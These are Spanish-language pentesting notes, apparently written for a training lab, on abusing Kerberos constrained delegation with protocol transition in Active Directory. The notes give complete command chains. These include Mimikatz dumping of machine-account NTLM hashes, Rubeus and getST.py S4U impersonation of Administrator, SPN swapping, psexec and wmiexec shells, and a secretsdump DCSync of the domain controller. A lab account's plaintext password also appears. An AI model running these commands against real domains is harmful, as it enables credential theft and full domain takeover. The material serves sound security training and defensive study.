Constrained Delegation - Windows
Ataque que explota cuentas configuradas con Constrained Delegation (TRUSTED_TO_AUTH_FOR_DELEGATION). A diferencia de unconstrained delegation, solo permite impersonar usuarios hacia una lista específica de servicios, pero si tiene habilitado protocol transition, permite impersonar a cualquier usuario (incluyendo Administrator) sin necesidad de que ese usuario se haya autenticado previamente.
Links: Rubeus | Mimikatz | PowerView | SPNs en Windows - Microsoft
Explicación simple
Imagina que un servidor web necesita acceder a una base de datos en nombre del usuario que se conectó. El administrador configura constrained delegation para que ese servidor web pueda impersonar al usuario, pero solo para acceder a la base de datos, no a cualquier servicio del dominio.
El problema aparece cuando esa cuenta tiene habilitado "Use any authentication protocol" (protocol transition). Esto le permite al servicio crear un ticket de servicio para cualquier usuario que elija, sin que ese usuario haya hecho nada. Si un atacante compromete esa cuenta, puede impersonar al Administrator y acceder a todos los servicios en la lista de delegación permitida.
Además, hay otro truco: el nombre del servicio (SPN) dentro del ticket no está cifrado, así que puede modificarse. Si la delegación está permitida hacia SQL/SERVIDOR, el atacante puede cambiar ese SPN a CIFS/SERVIDOR para acceder a los archivos del mismo servidor, porque es la misma cuenta de máquina exponiendo múltiples servicios.
Enumerar cuentas con Constrained Delegation
Computadoras
Import-Module .\PowerView.ps1
Get-DomainComputer -TrustedToAuth
#En caso de que no nos deje ejecutar algun script en powershell:
Set-ExecutionPolicy Bypass -Scope ProcessBuscar en el output el atributo msds-allowedtodelegateto para ver a qué servicios puede delegar, y useraccountcontrol para verificar si tiene TRUSTED_TO_AUTH_FOR_DELEGATION (con protocol transition).
Usuarios
Get-DomainUser -TrustedToAuthObtener el hash NTLM de la cuenta comprometida
Se necesita el hash de la cuenta con constrained delegation (en este caso una cuenta de máquina como DMZ01$). Usando Mimikatz:
mimikatz.exe
privilege::debug
sekurlsa::msv
exitBuscar en el output el NTLM de la cuenta de máquina correspondiente.
Ejecutar el ataque con Rubeus (S4U2Self + S4U2Proxy)
Con el hash NTLM de la cuenta con constrained delegation, Rubeus ejecuta automáticamente toda la cadena:
- Pide un TGT para la cuenta comprometida (
DMZ01$) - Usa S4U2Self para obtener un TGS como el usuario a impersonar (ej:
Administrator) - Usa S4U2Proxy para pedir el TGS final hacia el servicio objetivo
- Inyecta el ticket en memoria con
/ptt
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:<SPN_permitido> /altservice:<servicio_alternativo> /user:<cuenta_con_delegation>$ /rc4:<NTHASH> /pttEjemplo del lab
DMZ01$ tiene delegation hacia www/WS01.inlanefreight.local. Se modifica el SPN usando /altservice:HTTP para acceder vía WinRM:
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP /user:DMZ01$ /rc4:<NTHASH_DMZ01$> /pttVerificar el ticket inyectado
klistDebe mostrar Client: Administrator @ DOMAIN y Server: http/WS01.domain.local.
Usar el ticket para acceder al target
# WinRM / PSRemoting
Enter-PSSession ws01.inlanefreight.local
# Verificar identidad
whoamiResumen del flujo
- Identificar cuenta con
TRUSTED_TO_AUTH_FOR_DELEGATIONy su listamsDS-AllowedToDelegateTo - Obtener el hash NTLM de esa cuenta (Mimikatz
sekurlsa::msv) - Ejecutar
Rubeus s4ucon/impersonateuser:Administratory el SPN permitido - Opcionalmente modificar el servicio con
/altservicepara acceder a CIFS, HTTP, HOST, etc. - Verificar con
klistque el ticket es de Administrator - Conectar al target con
Enter-PSSessionu otros métodos
Diferencia clave con Unconstrained Delegation
- Unconstrained: necesita que un usuario real se conecte (pasivo) o usar el Printer Bug (activo). Captura el TGT completo.
- Constrained con protocol transition: no necesita esperar a nadie. Puede crear un ticket de cualquier usuario arbitrariamente usando S4U2Self, sin que ese usuario haya hecho nada.
Constrained Delegation - Linux
Versión del ataque Constrained Delegation usando herramientas de Impacket desde Linux. Más directa que desde Windows ya que no requiere Mimikatz para obtener el hash — si se tienen las credenciales en texto claro, getST.py hace todo automáticamente.
Links: findDelegation.py | getST.py | psexec.py - Impacket | Impacket
Explicación simple
Desde Linux el flujo es más sencillo: en vez de necesitar el hash NTLM de la cuenta (como en Windows con Mimikatz), basta con tener las credenciales en texto claro de la cuenta con constrained delegation. getST.py hace todo en un solo comando: pide el TGT, ejecuta S4U2Self para impersonar al usuario elegido, y ejecuta S4U2Proxy para obtener el TGS final. El ticket se guarda en un archivo .ccache que luego se usa con otras herramientas de Impacket.
Adicionalmente, herramientas como psexec.py tienen la capacidad de modificar el SPN del ticket en vuelo (AnySPN), lo que significa que aunque el ticket sea para TERMSRV, psexec lo puede reutilizar cambiándolo a CIFS automáticamente para obtener una shell interactiva.
Prerequisito - Resolución DNS
echo '<IP_DC> dc01.domain.local domain.local' | sudo tee -a /etc/hostsEnumerar cuentas con delegación
findDelegation.py lista todos los tipos de delegación presentes en el dominio de forma clara.
findDelegation.py DOMAIN.LOCAL/<user>:<password>Interpretar el output
Unconstrained— Delegación sin restricciones (la más peligrosa)Constrained— Delegación constrained sin protocol transition (solo puede delegar si el usuario se autenticó vía Kerberos)Constrained w/ Protocol Transition— Delegación constrained con protocol transition (puede impersonar a cualquier usuario arbitrariamente con S4U2Self)
Obtener el TGS como usuario arbitrario (getST.py)
Con las credenciales de la cuenta que tiene Constrained w/ Protocol Transition, se puede impersonar a cualquier usuario hacia los SPNs permitidos en su lista de delegación.
getST.py -spn <SPN_permitido> 'DOMAIN.LOCAL/<usuario_con_delegation>:<password>' -impersonate <usuario_a_impersonar>Ejemplo del lab
beth.richards tiene delegation hacia TERMSRV/DC01.INLANEFREIGHT.LOCAL:
getST.py -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate AdministratorEl ticket se guarda como Administrator.ccache en el directorio actual.
Con hash NTLM en vez de contraseña
getST.py -spn <SPN> 'DOMAIN.LOCAL/<usuario>' -hashes :<NTHASH> -impersonate AdministratorUsar el ticket para acceder al target
# Exportar el ticket
export KRB5CCNAME=./Administrator.ccache
# Shell interactiva con psexec (modifica el SPN en vuelo automáticamente)
psexec.py -k -no-pass DOMAIN.LOCAL/administrator@<hostname_o_IP>
# Con debug para ver el proceso de AnySPN
psexec.py -k -no-pass DOMAIN.LOCAL/administrator@DC01 -debugEntender el AnySPN (modificación del SPN en vuelo)
psexec.py necesita un ticket para CIFS/<host>, pero el ticket que tenemos es para TERMSRV/<host>. La herramienta detecta esto automáticamente:
[+] SPN CIFS/DC01@DOMAIN.LOCAL not found in cache
[+] Returning cached credential for TERMSRV/DC01@DOMAIN.LOCAL
[+] Changing sname from TERMSRV/DC01@DOMAIN.LOCAL to CIFS/DC01@DOMAIN.LOCAL and hoping for the bestEsto funciona porque el SPN no está cifrado en el ticket, así que puede modificarse sin invalidarlo. El servidor lo acepta porque la cuenta de máquina destino expone múltiples servicios con la misma clave.
Variantes de psexec según el entorno
Si la primera forma no funciona, probar en este orden:
# Forma básica (con hostname)
psexec.py -k -no-pass DOMAIN.LOCAL/administrator@DC01
# Con debug para ver el proceso de AnySPN
psexec.py -k -no-pass DOMAIN.LOCAL/administrator@DC01 -debug
# Especificando el DC explícitamente
psexec.py -k -no-pass -dc-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01
# Con FQDN completo en el target
psexec.py -k -no-pass -dc-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01.DOMAIN.LOCAL
# Especificando también el target-ip (útil si el DNS no resuelve bien)
psexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01Nota: Si hay problemas de resolución DNS,
-dc-ipapunta al DC para Kerberos y-target-ipes la IP física del host al que conectas. En labs donde el FQDN no resuelve, la combinación de ambos suele ser la que funciona.
Otras herramientas que aceptan el ccache
# WinRM / PSRemoting equivalente
evil-winrm -i <IP_DC> -r DOMAIN.LOCAL
# DCSync con el ticket
secretsdump.py -k -no-pass DOMAIN.LOCAL/administrator@DC01
secretsdump.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01
# Verificar acceso a shares
smbclient.py -k -no-pass DOMAIN.LOCAL/administrator@DC01
# Con wmiexec si psexec falla
wmiexec.py -k -no-pass DOMAIN.LOCAL/administrator@DC01
wmiexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01Resumen del flujo
- Enumerar con
findDelegation.pypara identificar cuentasConstrained w/ Protocol Transition - Verificar a qué SPNs puede delegar la cuenta (
DelegationRightsTo) - Usar
getST.py -impersonate Administratorcon las credenciales de esa cuenta - Exportar el
.ccacheenKRB5CCNAME - Usar
psexec.py -k -no-passpara obtener shell (el AnySPN hace el cambio de SPN automáticamente) - Limpiar con
unset KRB5CCNAMEal terminar
Casos prácticos / Troubleshooting
Error: CCache file is not found
[-] CCache file is not found. Skipping...No es un error real, es solo una advertencia informando que no existe un ccache previo. El comando continúa normalmente y crea el archivo.
El SPN del ticket no coincide con el que necesita psexec
psexec.py lo maneja automáticamente con AnySPN. Si usas otra herramienta que no tenga ese comportamiento, puedes solicitar el ticket directamente con el SPN correcto:
# Pedir TGS para CIFS directamente
getST.py -spn CIFS/DC01 'DOMAIN.LOCAL/<usuario>:<password>' -impersonate AdministratorVerificar qué tickets tienes en el ccache
klist -c Administrator.ccache